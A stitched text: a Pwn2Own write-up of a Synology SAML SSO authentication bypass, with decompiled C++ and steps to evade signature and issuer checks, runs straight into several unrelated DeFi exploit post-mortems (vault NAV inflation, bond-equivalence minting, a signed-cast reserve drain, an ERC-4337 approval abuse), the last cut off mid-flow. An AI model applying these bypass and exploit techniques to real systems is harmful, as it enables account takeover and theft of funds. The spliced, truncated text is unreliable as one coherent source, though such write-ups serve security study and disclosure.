I. Story

Getting into Pwn2Own that time was a bit of a lucky break for me: I found the bug and bypassed the requirement right before the registration deadline. When I first started hunting, I didn’t know anything about pwn, so I collabed with my friend (@ngocquy0307) to help me out during the process, reversing the parts of the code I couldn’t understand, and making sure we didn’t miss any pwn bugs. As for me, I decided to focus on logic vulnerabilities.

Not long before the competition, I happened to find an SSO bypass bug in a small Microsoft plugin. For some reason I had this gut feeling - like my ancestors were guiding me - so when I started auditing, I decided to make SSO my first target. And luckily enough, the app’s SAML SSO really did have a bug.

We didn't use any AI in the actual bug hunting. The only place AI came in was afterward - to decompile the code into clean, readable C++ for this writeup.

II. Analyst

SYNOPAMSSO::samlAuth Workflow

The SYNOPAMSSO::samlAuth function handles the logic when a user logs in via SAML SSO.

int samlAuth(const std::string& samlResponseB64, std::string& outUser)
{
    SYNO::SSO::SSOSAMLClient client;    // [1]                  
    std::string resp = samlResponseB64;                   
    for (char& c : resp)                                 
        if (c == ' ')
            c = '+';

    client.VerifySamlResponse(resp);    // [2]                
    const std::string& samlUser = client.m_nameId;       

    char realName[1024] = {0};                            
    if (SLIBUserRealNameGet(samlUser.c_str(), realName, sizeof realName) < 0) { 
        syslog(LOG_ERR, "%s:%d no such user: %s",
               "saml_auth.cpp", 30, samlUser.c_str());    
        return 2;
    }

    if (strcasecmp(samlUser.c_str(), realName) != 0) {     
        syslog(LOG_ERR, "%s:%d username not match:  %s, %s",
               "saml_auth.cpp", 34, samlUser.c_str(), realName);  
        return 2;
    }

    bool qualified = std::strchr(samlUser.c_str(), '\\')   
                  || std::strchr(samlUser.c_str(), '@');   

    if (!qualified && !client.m_allowLocalUser) {     // [3]     
        syslog(LOG_ERR, "%s:%d user is local:  %s, %s",
               "saml_auth.cpp", 40, samlUser.c_str(), realName);  
        return 2;
    }

    outUser = samlUser;                                    
    return 0;
}

The function performs two main tasks: first, it initializes the SAML client [1], and then uses it to verify the SAML response [2]. The entire SAML validation logic takes place inside verifySamlResponse.

[1] SSOSAMLClient Constructor

class SSOSAMLClient : public Json::Value {        
public:
    SSOSAMLClient();
    bool readSAMLConfig(Json::Value& out);

    std::string idpIssuerUrl;     
    std::string acsUrl;           
    std::string idpEntityId;      
    std::string nameidFormat;     
    std::string name;             
    std::string mNameId;         
    std::string verifyMode;       
    std::string configPath;       
    std::string certPath;         
    bool        matchLocalUser;   
};

SSOSAMLClient::SSOSAMLClient()
    : Json::Value(Json::nullValue)   
    , matchLocalUser(false)          
{
    Json::Value config(Json::nullValue);
    if (!readSAMLConfig(config))
        return;                       

    *static_cast<Json::Value*>(this) = config;

    idpIssuerUrl   = JsGetStr(config, "saml_idp_signin_url");
    acsUrl         = JsGetStr(config, "saml_acs_url");
    idpEntityId    = JsGetStr(config, "saml_idp_entity_id");
    name           = JsGetStr(config, "saml_name");
    matchLocalUser = JsGetBool(config, "saml_allow_local_user", false);
    verifyMode     = JsGetStr(config, "saml_response_signature");

    nameidFormat   = "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified";
    configPath     = "/usr/syno/etc/ssoclient/saml.conf";
    certPath       = "/usr/syno/etc/ssoclient/saml_cert.ca";
}

bool SSOSAMLClient::readSAMLConfig(Json::Value& out)
{
    static const char* kConfPath = "/usr/syno/etc/ssoclient/saml.conf";
    
    RunAs guard(0, 0, "sso_saml.cpp", 494);
    if (SLIBCFileExist(kConfPath)) {
        if (SLIBCFileExist(kConfPath) == 1) {
            if (!out.fromFile(kConfPath)) {
                syslog(LOG_ERR, "%s:%d failed to load json file", "sso_saml.cpp", 506);
                throw std::runtime_error("failed to load json file");
            }
        }
        if (!out.isMember("saml_response_signature"))
            out["saml_response_signature"] = "response";
        return true;
    }

    out["sso_saml_enable"]              = "";
    out["saml_name"]                    = "SAML";
    out["saml_idp_entity_id"]           = "";
    out["saml_idp_signin_url"]          = "";
    out["saml_acs_url"]                 = "";
    out["saml_idp_certificate"]         = "";
    out["saml_valid_date"]              = "";
    out["saml_idp_certificate_expired"] = "";
    return false;
}

[2] verifySamlResponse

long SSOSAMLClient::VerifySamlResponse(const std::string& samlResponseB64)
{
    // --- 1. Initialize OpenSAML, then Xerces. -------------------------------
    opensaml::SAMLConfig& saml = opensaml::SAMLConfig::getConfig();
    if (!saml.init(/*initXMLTooling=*/true))
        throw std::runtime_error("SAMLConfig::getConfig().init failed");
    xercesc::XMLPlatformUtils::Initialize();

    // --- 2. Base64-decode the payload. --------------------------------------
    XMLSize_t decodedLen = 0;
    XMLByte*  decoded    = xercesc::Base64::decode(
        reinterpret_cast<const XMLByte*>(samlResponseB64.data()), &decodedLen);
    if (!decoded)
        throw std::runtime_error("decoded Fail");

    // --- 3. Parse the XML into a DOM, then build a typed XMLObject tree. -----
    xercesc::MemBufInputSource   membuf(decoded, decodedLen, "SAMLResponse", true);
    xercesc::Wrapper4InputSource source(&membuf, false);

    xercesc::DOMDocument* doc =
        xmltooling::XMLToolingConfig::getConfig().getParser().parse(source);
    if (!doc)
        throw std::runtime_error("doc is null");
    xmltooling::XMLObject* object =
        xmltooling::XMLObjectBuilder::buildOneFromElement(
            doc->getDocumentElement(), true);
    if (!object)
        throw std::runtime_error("source is null");

    // --- 4. If verifyMode is "response" or "both", verify the <Response>
    //        signature. -------------------------------------------------------
    if (this->verifyMode == "response" || this->verifyMode == "both") {
        auto* signable = dynamic_cast<xmltooling::SignableObject*>(object);
        if (!signable)
            throw std::runtime_error("signable is null");
        if (!signable->getSignature())
            throw std::runtime_error("getSignature is null");
        verifySignature(signable->getSignature());
    }

    // --- 5. The message must be a samlp:Response. ---------------------------
    auto* response = dynamic_cast<opensaml::saml2p::Response*>(object);
    if (!response)
        throw std::runtime_error("message was not a samlp:Response");

    // --- 6. The SAML status must be "Success". A null Status, a null
    //        StatusCode, or any value other than SUCCESS raise the same error.
    opensaml::saml2p::Status* status = response->getStatus();
    if (!status
        || !status->getStatusCode()
        || !xercesc::XMLString::equals(status->getStatusCode()->getValue(),
                                       opensaml::saml2p::StatusCode::SUCCESS))
        throw std::runtime_error("attribute authority returned a SAML error");

    // --- 7. Schema-validate the Response. -----------------------------------
    xmltooling::SchemaValidators.validate(response);

    // --- 8. The Response Issuer must match the configured IdP entity id. -----
    if (!response->getIssuer())
        throw std::runtime_error("issuer is null");

    char* issuerUtf8 = xercesc::XMLString::transcode(
        response->getIssuer()->getTextContent());
    if (!issuerUtf8)
        throw std::logic_error("basic_string: construction from null is not valid");
    xercesc::XMLString::trim(issuerUtf8);
    std::string issuer(issuerUtf8);
    xercesc::XMLString::release(&issuerUtf8);

    if (issuer != this->idpEntityId)
        throw std::runtime_error("issuer does not match: " + issuer);
    syslog(LOG_DEBUG, "%s:%d issuer: %s:%s", "sso_saml.cpp", 377,
           idpEntityId.c_str(), issuer.c_str());

    // --- 9. There must be at least one <Assertion>. -------------------------
    const std::vector<opensaml::saml2::Assertion*>& assertions =
        response->getAssertions();
    if (assertions.empty())
        throw std::runtime_error("resolve is empty");

    // --- 10. Take the NameID from the FIRST assertion that passes EVERY check.
    //         A failing check is logged (no throw) and we move to the next
    //         assertion. ---------------
    for (opensaml::saml2::Assertion* assertion : assertions) {

        // 10a. Optional per-assertion signature check.
        if (this->verifyMode == "assertion" || this->verifyMode == "both")
            verifySignature(assertion->getSignature());

        // 10b. Subject must be present.
        opensaml::saml2::Subject* subject = assertion->getSubject();
        if (!subject) {
            syslog(LOG_ERR, "%s:%d subject is null", "sso_saml.cpp", 394);
            continue;
        }

        // 10c. Issuer must be present.
        if (!assertion->getIssuer()) {
            syslog(LOG_ERR, "%s:%d assert issuer is null", "sso_saml.cpp", 399);
            continue;
        }

        // 10d. Assertion Issuer text must match the configured IdP entity id.
        //      (inlined getTextContent + transcode + trim -> std::string)
        char* aIssuerUtf8 = xercesc::XMLString::transcode(
            assertion->getIssuer()->getTextContent());
        if (!aIssuerUtf8)
            throw std::logic_error("basic_string: construction from null is not valid");
        xercesc::XMLString::trim(aIssuerUtf8);
        std::string assertionIssuer(aIssuerUtf8);
        xercesc::XMLString::release(&aIssuerUtf8);

        if (assertionIssuer != this->idpEntityId) {
            syslog(LOG_ERR, "%s:%d issuer does not match: %s", "sso_saml.cpp",
                   406, assertionIssuer.c_str());
            continue;
        }

        // 10e. If <Conditions> are present, enforce the validity window.
        if (opensaml::saml2::Conditions* cond = assertion->getConditions()) {
            time_t now = time(nullptr);
            if (now < cond->getNotBefore()) {
                syslog(LOG_ERR, "%s:%d Assertion is not yet valid.",
                       "sso_saml.cpp", 413);
                continue;
            }
            if (now >= cond->getNotOnOrAfter()) {
                syslog(LOG_ERR, "%s:%d Assertion is no longer valid.",
                       "sso_saml.cpp", 418);
                continue;
            }
        }

        // 10f. All checks passed: this assertion's NameID is the user. Stop.
        //      (inlined getTextContent + transcode + trim -> std::string)
        char* nameIdUtf8 = xercesc::XMLString::transcode(
            subject->getNameID()->getTextContent());
        if (!nameIdUtf8)
            throw std::logic_error("basic_string: construction from null is not valid");
        xercesc::XMLString::trim(nameIdUtf8);
        m_nameId = nameIdUtf8;
        xercesc::XMLString::release(&nameIdUtf8);
        break;
    }

    // --- 11. A user must have been extracted. -------------------------------
    if (m_nameId.empty())
        throw std::runtime_error("nameId is empty");

    // --- 12. Teardown. ------------------------------------------------------
    delete object;          
    return opensaml::SAMLConfig::getConfig().term(true);
}

After reading through the snippets above, you’ve probably already noticed the flaw in the application’s logic within the SAML SSO feature. Now, let’s dive into the detailed analysis.

Bypassing Authentication via SAML SSO

Inside the verifySamlResponse function, when checking the signature at steps 4 and 10a

long SSOSAMLClient::VerifySamlResponse(const std::string& b64Response)
{
	[...]
	if (this->verifyMode == "response" || this->verifyMode == "both") {
		auto* signable = dynamic_cast<xmltooling::SignableObject*>(src);
		if (!signable)
			throw std::runtime_error("signable is null");
		if (!signable->getSignature())
			throw std::runtime_error("getSignature is null");
		verifySignature(signable->getSignature());
	[...]
	
	for (opensaml::saml2::Assertion* assertion : assertions) {
		if (this->verifyMode == "assertion" || this->verifyMode == "both")
			verifySignature(assertion->getSignature());
	[...]
}

Here, the developer implicitly assumed that the value of verifyMode would always be one of three options: {"response", "assertion", "both"}. As a result, if verifyMode holds any value other than those three, the signature verification step can be completely bypassed. The value of verifyMode is assigned within the SSOSAMLClient constructor. Looking at the SSOSAMLClient constructor, if readSAMLConfig returns false, the constructor returns early, leaving the object with its attributes defaulted to empty strings or false.

readSAMLConfig:

bool SSOSAMLClient::readSAMLConfig(Json::Value& out)
{
    static const char* kConfPath = "/usr/syno/etc/ssoclient/saml.conf";
    
    RunAs guard(0, 0, "sso_saml.cpp", 494);
    if (SLIBCFileExist(kConfPath)) {
        if (SLIBCFileExist(kConfPath) == 1) {
            if (!out.fromFile(kConfPath)) {
                syslog(LOG_ERR, "%s:%d failed to load json file", "sso_saml.cpp", 506);
                throw std::runtime_error("failed to load json file");
            }
        }
        if (!out.isMember("saml_response_signature"))
            out["saml_response_signature"] = "response";
        return true;
    }

    out["sso_saml_enable"]              = "";
    out["saml_name"]                    = "SAML";
    out["saml_idp_entity_id"]           = "";
    out["saml_idp_signin_url"]          = "";
    out["saml_acs_url"]                 = "";
    out["saml_idp_certificate"]         = "";
    out["saml_valid_date"]              = "";
    out["saml_idp_certificate_expired"] = "";
    return false;
}

When /usr/syno/etc/ssoclient/saml.conf doesn’t exist, verifyMode is "", which lets us bypass signature verification. This file is simply absent whenever SAML SSO has never been enabled on the system. Tracing execution from samlAuth through the SSOSAMLClient constructor to verifySamlResponse, there’s no check for whether SAML SSO is actually enabled.

From here, we just need to craft a valid SAML Response. Most elements checked in verifySamlResponse are only superficially validated, so they’re easy to satisfy. The one exception is the Issuer, checked at step 8 (with a similar condition in step 10b for each Assertion), which must be non-empty.

After that, the Issuer must pass a comparison against the Issuer retrieved from SSOSAMLClient. Since the Issuer from SSOSAMLClient will have a value of "", the Issuer value we provide in the SAML Response must also evaluate to "". An Issuer that is simultaneously empty and not empty cannot exist. Fortunately for us, however, the Issuer is trimmed before this comparison takes place:

In this case, an Issuer value containing just a <space> will satisfy the condition, and it will subsequently become "" after passing through the trim() function.

At this point, it is just a standard string comparison in C++. Since both values are now "", we naturally pass this check. Even though we have now satisfied all the requirements, the login will still fail:

This is due to the check at step [3] in samlAuth:

bool qualified = std::strchr(samlUser.c_str(), '\\')   
			  || std::strchr(samlUser.c_str(), '@');   

if (!qualified && !client.m_allowLocalUser) {     // [3]     
	syslog(LOG_ERR, "%s:%d user is local:  %s, %s",
		   "saml_auth.cpp", 40, samlUser.c_str(), realName);  
	return 2;
}

Our saml_match_local_user in SSOSAMLClient is currently set to false, meaning we can only log into LDAP or AD (Active Directory) accounts at this point. According to ZDI’s requirements, providing a pre-known username is considered unrealistic and therefore unacceptable. However, ZDI does accept the fact that the default AD admin account follows the format <NetBIOS>/Administrator. The NetBIOS name can be easily obtained through enumeration on Synology NAS. Once logged in successfully as an administrator, there are multiple ways to achieve RCE using various admin-privileged features.

Conclusion

Although it’s a bit of a pity that I found the bug too late to get the visa sorted in time to be onsite and experience the competition atmosphere in person, this was still a successful Pwn2Own participation for me. A shoutout to @ngocquy0307 for collaborating and providing a lot of support during the bug-hunting process, to @tuo4n8 for supporting me throughout the competition, to @lemauanhphong for helping me bring the bug to the contest, and last but not least, a huge thanks to Verichains for supporting me in participating in the competition.

The attacker accumulated Silo “Varlamore USDC Growth” vault tokens whose onchain valuation had not reflected their economic impairment following the November 2025 Stream Finance collapse. By transferring those tokens directly into the still-active Ark, the attacker increased the Lower Risk vault’s reported totalAssets() without adding an equivalent amount of realizable USDC. They then redeemed shares at the inflated price and received genuine liquid assets belonging to the vault.

Overview

• Date: July 6, 2026

• Network: Ethereum mainnet

• Total Loss: ~6.04M

• Attack Transaction: 0x0db528c44f23fc7fa4544684a2fab81096450a14aae8bc89f42cd0592d43da12

• Attacker Beneficiary:

  0x7BF716167B48CF527725722C6d79494b45B3BDCa

• Executor Contract: 0x0514F827C129C16418a0933E03C99A6AF982FC61

This was not a compromised-key or malicious-admin incident. The affected contracts were verified and behaved as implemented. The failure emerged from the interaction between the vault’s intended accounting rules, an external asset carrying a stale valuation, and an Ark that had been capped but not fully removed.

Technical Analysis of the Exploit

Protocol Architecture

Lazy Summer vaults use an ERC-4626-style share model. Users deposit an underlying asset into a FleetCommander, which allocates capital among strategy adapters known as Arks. Each Ark connects the vault to a particular yield source or strategy.

The value of a vault share is derived from the vault’s total reported assets:

share price = totalAssets() / totalSupply()

The FleetCommander calculates totalAssets() by summing the assets reported by every Ark in its active set. Consequently, any change in an active Ark’s reported value can affect the value of every vault share.

The relevant Silo Ark was undergoing offboarding. Its depositCap had been set to zero, preventing the protocol’s normal rebalancing flow from depositing additional capital. However, that action did not remove the Ark from getActiveArks() and did not stop arbitrary token transfers to the Ark address. Its token balance therefore continued to contribute to totalAssets() and the vault share price.

Root Cause

The root cause was an impaired Silo Ark that had been capped but not fully removed from the FleetCommander’s active set:

• Setting depositCap to zero blocked normal allocations but did not exclude the Ark from totalAssets().

• Tokens transferred directly to the Ark were included in its reported value without minting new FleetCommander shares.

• The donated Silo Varlamore tokens were credited above their realizable economic value.

The donation therefore increased the vault’s reported assets and share price without adding comparable liquid USDC. The attacker monetized that accounting increase by redeeming against the buffer and other liquid Arks.

The Silo position inflated the accounting value; it did not fund the payout.

Attack Flow

The exploit transaction began with the executor already holding the Silo Varlamore shares later donated to the affected Ark. How those shares were acquired is outside the scope of this analysis.

Exploit Transaction

The following steps are reconstructed directly from the successful exploit transaction and its call trace.

1. Flash Loans from Morpho

The executor borrowed:

• 65,419,171.88 USDC

• 1,000,000 USDT

The loans were obtained from Morpho with no flash-loan fee and were repaid within the same transaction.

2. Pre-staging the Higher Risk Vault

The sequence began with the Higher Risk vault. The attacker deposited approximately 398,172.24 USDC and immediately withdrew almost the same amount.

Although the round trip cost essentially nothing, the withdrawal was sourced from the Higher Risk vault’s liquid Sky and Morpho positions rather than its buffer. The original deposit consequently remained in the buffer, increasing immediately accessible liquidity from approximately 1,000 USDC to 399,172 USDC.

This step prepared the buffer to satisfy the attacker’s later Higher Risk redemption without forcing the vault to withdraw from illiquid Arks.

3. Minting the Term Shares

The attacker deposited approximately 490,636.89 USDC into the Term “Summer USDC” Yearn v3 strategy and received approximately 439,778.13 Term shares.

This operation served two purposes:

1. The Term shares became the donation asset used to manipulate the Higher Risk vault.

2. The underlying USDC was deposited into the Lower Risk FleetCommander, adding liquidity to its buffer.

That reciprocal vault wiring made the step unusually efficient. The capital used to mint the Higher Risk donation asset was later recovered when the attacker drained the Lower Risk vault’s liquid positions.

4. Manipulating the Lower Risk Vault

The attacker deposited 64.83 million USDC into the Lower Risk vault at approximately 1.0665 USDC per share, receiving 60.79 million shares.

They then donated Silo Varlamore tokens directly to the capped-but-active Silo Ark. The donation increased totalAssets() without minting new FleetCommander shares, raising the share price by approximately 9.5%, from 1.0665 to 1.1677 USDC.

The attacker subsequently redeemed 60.77 million shares for 70.96 million USDC. The payout came from the vault’s buffer and liquid Sky, Morpho, and Spark Arks—not from the manipulated Silo position.

5. Manipulating the Higher Risk Vault

The attacker next deposited approximately 29.52 million USDC into the Higher Risk vault at a share price near 1.0583.

They then donated the previously minted 439,778.13 Term shares to the Higher Risk Term Ark. The Ark credited those shares at approximately 490,636.89 USDC. This increased the Higher Risk share price from approximately 1.0583 to 1.0756.

Unlike the Silo donation, the Term shares were not themselves acquired at a steep discount. The profit came from their dual use: minting them routed the underlying USDC into the Lower Risk buffer, where that capital had already been recovered in the preceding drain. The donation was therefore effectively funded by assets extracted during the Lower Risk leg.

The attacker redeemed approximately 27.81 million Higher Risk shares for 29.92 million USDC, draining nearly the entire prepared buffer and producing approximately $399,000 of additional value.

6. Settlement

After manipulating both vaults, the attacker repaid the Morpho flash loans and transferred approximately 6.017 million DAI, along with the remaining vault shares, to the beneficiary address.

The total extracted value was approximately $6.04 million—about $5.64 million from the Lower Risk vault and $0.40 million from the Higher Risk vault. Because the entire exploit occurred atomically, monitoring and emergency pause mechanisms could not intervene between the NAV manipulation and withdrawals.

Post-Exploit Fund Movement

The exploit transaction transferred approximately 6.017 million DAI and the remaining vault shares to the beneficiary address. Subsequent onchain tracing indicates that part of the proceeds was converted to ETH and routed through intermediary addresses before reaching Tornado Cash.

Conclusion

The attacker donated overvalued Silo tokens to inflate the vault's reported NAV, then converted that accounting increase into liquid USDC held by the buffer and other Arks. The flash loans amplified the attack, but the capped Silo Ark remaining active in vault accounting was the decisive condition.

For vault aggregators, capping a strategy is not equivalent to removing it. A strategy remains security-critical for as long as it can influence the vault's accounting.

On July 24, 2026, the protocol was exploited in an attack that resulted in an estimated loss of approximately $542,144.63 USDC. Unlike a typical flash-loan or reentrancy exploit, this attack was a logic/validation failure: the attacker permissionlessly registered a fraudulent bond group, exploited a flaw in the bond-exchange function to mint bonds without real collateral backing, then sold those synthetic bonds into Lien’s OTC pools for genuine USDC.

Overview

• Attacker (EOA): 0x0D7d9023531aD1A88414E216Ee2715F63561808a

• Attacker’s contract: 0xe74d17c1bE3721E65e0af286D47B3BA58B08062e

• Vulnerable contracts: 0xDA6FC5625E617bB92F5359921D43321cEbC6BEf0

• Affected pool: 0x656e5e976d523a427f05B0c212A22A89ccD9eF18

• Victim address: 0xA961684a3a654fb2cCA8F8991226C0CEfc514d80

• Exploit transaction: 0xb96d572b557a12f5ef193e88cca86123a6ae1b6e98b0eeee265870c85848e0e7

Analysis

In the BondMaker design, a “bond group” is a set of BondTokens whose payoffs are constructed so that, together, they are fully backed by (and can be reconstituted into) a fixed amount of underlying collateral. To keep the system flexible, BondMaker allows new bond groups to be registered permissionlessly - anyone can define a new group with a custom payoff function without governance approval - and allows equivalent bond groups to be exchanged for one another via a function, exchangeEquivalentBonds, provided the two groups are proven to have matching economic value.

This is precisely the architectural surface that was attacked once before: in September 2020, a whitehat group led by Samczsun rescued roughly $10M from the original BondMaker contract after discovering that empty bond groups could be exchanged against properly collateralized ones through the equivalence function, extracting Ether without real backing. Six years later, the same class of surface - permissionless registration combined with an equivalence/rate function - produced a new failure mode, this time exploited for a real loss rather than intercepted.

The attack, step by step

1. Deploy an orchestration contract. The attacker deployed a helper/orchestration contract 0xe74d17c1bE3721E65e0af286D47B3BA58B08062e to sequence the exploit in a single flow.

2. Register a malicious bond group. Using BondMakerCollateralizedEth’s permissionless registration path, the attacker registered a new bond group built around a crafted payoff function. Because registration requires no governance or whitelist gate, the group’s economic parameters were never checked against any real underlying value.

3. Abuse exchangeEquivalentBonds. This is the core logic bug. The function is meant to verify bond-group equivalence by checking that every bondID in the input group appears the required number of times in the output group (a multiset/per-element check). Instead, it only counted the total number of “exception” entries across the group - an aggregate count, not a per-ID check. By repeating the same exception bondID multiple times in the output group, the attacker satisfied the total-count check while silently omitting a different bond that should have been required on the input side. The practical effect: the attacker minted new BondTokens without actually burning/consuming a matching set of collateralized bonds. The tokens looked structurally valid to the contract but had no real collateral behind them.

4. Route the synthetic bonds into the OTC pool. The newly minted (but uncollateralized) BondTokens were swapped through Lien’s GeneralizedDotc bond-to-ERC20 OTC pool 0x656e5e976d523a427f05B0c212A22A89ccD9eF18.

5. Exploit the pricing gap. The pool’s internal pricing function, _calcRateBondToErc20, computes an exchange rate for a bond based on its registered payoff characteristics - but does not independently verify that the bond is actually backed by real collateral. Because the attacker’s bond group had a custom payoff function and no real backing to validate against, _calcRateBondToErc20 priced the synthetic bonds at a level far above their true (zero) value.

6. Drain liquidity. Swapping the overpriced synthetic bonds against the pool’s real USDC liquidity - through three pre-authorized endpoints - extracted approximately 542,144.63 USDC, funded by allowances originating from the liquidity provider at 0xA961684a3a654fb2cCA8F8991226C0CEfc514d80, and sent it to the attacker’s wallet 0x0D7d9023531aD1A88414E216Ee2715F63561808a.

Root cause

The incident stems from two compounding design gaps, neither of which is a memory-safety bug or access-control bypass in the classic sense:

• Insufficient equivalence validation: exchangeEquivalentBonds validated bond-group equivalence using an aggregate count of “exception” occurrences rather than verifying that each individual bondID appears the correct number of times. A multiset-equality check was effectively downgraded to a weaker count-equality check, which is satisfiable by repeating one element instead of including all required elements.

• Untrusted pricing input: _calcRateBondToErc20 trusted the payoff metadata of a bond group that anyone could register permissionlessly, without cross-checking it against actual collateral held by the protocol. Combining “anyone can define a financial instrument” with “the pricing engine trusts what’s defined” gave the attacker a direct path from a crafted registration to real, extractable value.

Either flaw alone would have limited impact - a bad equivalence check without a naive pricing function wouldn’t yield extractable value, and a naive pricing function without a way to mint uncollateralized bonds wouldn’t have anything worthless to overprice. Together, they turned a permissionless convenience feature into a $542K loss.

Vulnerable code

The following is the verified source of exchangeEquivalentBonds as deployed at 0x843225CF6e663e4454732D6B551A737Ac7b47de0 (BondMakerCollateralizedEth.sol):

The bug is in the counter arithmetic: exceptionCount is a single running total, incremented once per match found while scanning inputIDs and decremented once per match found while scanning outputIDs. The two require statements only assert that the net count balances out to zero - they never assert that each individual bondID in exceptionBonds was matched exactly once against a distinct input bond and once against a distinct output bond. By crafting exceptionBonds and the output bond group so that the same exception bondID is matched repeatedly, the attacker could satisfy exceptionCount == 0 while a bond that should have been required in outputIDs (and thus minted only in exchange for burning something of equal value) never got the burn-side counterpart it needed - allowing _mintBond to run for bonds that were never fully backed by an equivalent burn.

The following is the verified source of _calcRateBondToErc20 as deployed at 0x656e5e976d523a427f05B0c212A22A89ccD9eF18 (GeneralizedDotc.sol):

Note that bondPriceE8 comes entirely from bondPricer - a contract that prices a bond purely from its registered payoff function (fnMap) and the oracle price of the underlying, with no reference to whether the specific bond supply being priced was ever actually backed by matching collateral in the vault. Since the attacker’s bond group was permissionlessly registered with a custom payoff function, _calcBondPriceAndSpread priced it as if it were a normal, fully-collateralized bond - there was no check cross-referencing the bond’s real backing before this rate was used to swap it for USDC.

Finally, the attacker’s own orchestration contract, 0xe74d17c1bE3721E65e0af286D47B3BA58B08062e, has no verified source on Etherscan - unsurprising, since exploit contracts are essentially never voluntarily verified by their deployer. Its exact logic can still be recovered from its bytecode with a decompiler, cross-referenced against the exploit transaction’s execution trace and token-transfer logs, if a lower-level confirmation of its behavior is needed.

Conclusion

At its core, this incident was not a reentrancy bug or an access-control bypass, but a quiet logic flaw: a validation check that summed up totals instead of verifying each element individually, sitting next to a pricing function that trusted a permissionlessly-registered input without ever confirming it was backed by real collateral - together, this let the attacker mint synthetic bonds out of thin air and sell them into the protocol’s own liquidity for genuine USDC. It is a good example of how small mistakes in custom smart contract logic - especially around equivalence checks, token minting/burning, or pricing functions that consume permissionless input - can result in severe financial damage, even when the code has no obvious memory-safety or access-control issue. Protocols implementing non-standard mechanics like bond issuance, custom AMM pricing, or permissionless registration of financial instruments should treat this logic as no less security-critical than access control, and invest in comprehensive smart contract audits and security reviews - with adversarial, edge-case testing of validation and pricing logic in particular - before deploying such systems into production.

Overview

Attacker: 0x84dA7a5e2315Eb798f04B75554AeB15047269CCE

Attack Contract: 0x00c64B5a926ba1fceC30EfaD88C344c619F54F12

Vulnerable Hub Proxy: 0x73043143e0a6418cc45d82d4505b096b802fd365

Implementation at the Attack Block: 0x8d321e80487356c846f34456d31ce761776ef697

DAI Reserve: 0xf9bbb2df44cfe46e501cf91c99b2f8fef9d9d44a

Exploit TX: 0xc38a6e2259a85ced94238a0b0a49697992f2a6b8140c28f3fd2343d3d8434130

Exploit Analysis

The vulnerable contract exposes give(address receiver, uint128 amt). Its intended behavior is simple: the caller gives amt DAI to a receiver, and the receiver can collect it immediately.

The public function passes the caller and the unsigned amount into _give().

The Unsafe Signed Conversion

Inside _give(), the contract increases the receiver’s collectable amount and then calls _transfer() with -int128(amt).

The negative sign is meant to describe direction. A negative value means funds should move from the user into the hub. A positive value means funds should move from the reserve to the user.

That convention becomes dangerous because amt is an untrusted uint128. The contract converts it to int128 without checking that it is no greater than type(int128).max.

How One Number Reversed the Transfer

The reserve held exactly 24,882.995421947667857715 DAI. In DAI’s smallest unit, let that balance be B:

B = 24,882,995,421,947,667,857,715

The attacker supplied:

A = 2^128 - B

A = 340,282,366,920,938,438,580,379,185,484,100,353,741

A is a valid uint128, but it is larger than the maximum positive int128. When explicitly converted, the same 128-bit pattern is interpreted as a signed value:

int128(A) = A - 2^128 = -B

The contract then negates it:

-int128(A) = B

Instead of passing a negative deposit amount into _transfer(), the contract passes the positive reserve balance.

The Withdrawal Branch

_transfer() interprets positive and negative values as opposite operations.

For a positive amount, the hub calls erc20Reserve.withdraw() and then sends the withdrawn DAI to user. For a negative amount, it pulls DAI from the user and deposits it into the reserve.

The crafted conversion therefore selected the positive branch and withdrew the full recorded reserve balance.

The reserve itself correctly restricts withdrawals to its configured hub and checks its internal balance. Those protections did not help because the vulnerable hub was the authorized caller and requested exactly the available balance.

Attack Flow

The exploit completed in one transaction:

1. The attacker contract called the hub’s give() function with A = 2^128 - B.

2. _give() recorded the huge unsigned amount as collectable for the chosen receiver.

3. int128(A) became -B, and the leading negative sign changed it back to positive B.

4. _transfer() treated positive B as a withdrawal and pulled the entire DAI balance from the reserve.

5. The hub sent the DAI to the attack contract, which forwarded it to the attacker.

The exploit transaction confirms this flow. The hub emitted the crafted A value, while the ERC-20 transfers show 24,882.995421947667857715 DAI moving from the reserve to the hub, then to the attack contract, and finally to the attacker.

The Root Cause

The root cause was an unchecked unsigned-to-signed conversion used to control transfer direction.

Solidity 0.8 checked arithmetic does not reject this explicit conversion. Converting a uint128 above type(int128).max to int128 preserves the 128-bit pattern and interprets its high bit as the sign bit.

The vulnerable assumption was that -int128(amt) must always be negative because amt was unsigned. That is only true when:

amt <= type(int128).max

No such validation existed. As a result, user-controlled input could cross the signed boundary and turn the intended deposit signal into a withdrawal signal.

Conclusion

When converting unsigned values to signed values, always validate that the input fits in the positive range of the destination type before casting. Checked arithmetic does not make explicit type conversions safe by itself.

Transfer direction should also be represented explicitly instead of being inferred from the sign of a user-controlled value. Separate deposit and withdrawal paths, or a checked conversion helper, would have prevented this bug.

Furthermore, conducting a security audit is strongly recommended for all projects, including smart contracts, backends, wallets, and dapps.

The exploit required two bugs to work together. First, Sodium accepted an attacker-selected contract as a valid ERC-1271 signer and session key. Second, validateUserOp used attacker-controlled paymasterAndData to grant that same contract unlimited ERC-20 allowances. The allowances persisted even though the later account-execution calls failed.

Incident Overview

• Date: July 13, 2026

• Network: Arbitrum One

• Reported loss: Approximately $270,000

• Attack type: ERC-4337 authorization bypass plus validation-phase ERC-20 approval

• Affected component: Sodium smart accounts

• Sodium implementation: 0xb5BC46dF04dEe31D219E7664122e29EEd9506b8b

• ERC-4337 EntryPoint v0.6: 0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789

• Attacker EOA: 0xCe1a3BB0b98D0D90C7Dd0620Ab86C9A771888d88

• Malicious contract: 0x56362412AE17cac443AAFBAb4289946Ad958E8a1

• Example approval transaction: 0x630654fb1c8914405cf81bb02f091b049f19403a152f624f7b8a00c7724c6604

• Example drain transaction: 0x1cdba4c3f9c925e6d03ce8d07965a7521ee4e7258f6c5eeae8a7998886c2b9f0

This blog follows one account, 0x0209...16BD, as a concrete example. The same malicious contract acted as its ERC-1271 signer, proposed session key, paymaster, ERC-20 spender, and later token sweeper.

Exploit Mechanics

1. The Actual On-Chain Call Flow

The attacker did not call validateUserOp directly. Sodium’s _requireFromEntryPoint() would reject such a call. Instead, the attacker routed the operation through the EntryPoint configured in the account:

[1] Attacker EOA 0xCe1a...8d88
        ↓ calls the attack coordinator
[2] Malicious contract 0x5636...8e8a1
        ↓ handleOps() — selector 0x1fad948c
[3] EntryPoint 0x5FF1...2789
        ↓ validateUserOp() — selector 0x3a871cdd
[4] Sodium proxy 0x0209...16BD
        ↓ delegatecall
[5] Sodium implementation 0xb5BC...6b8b

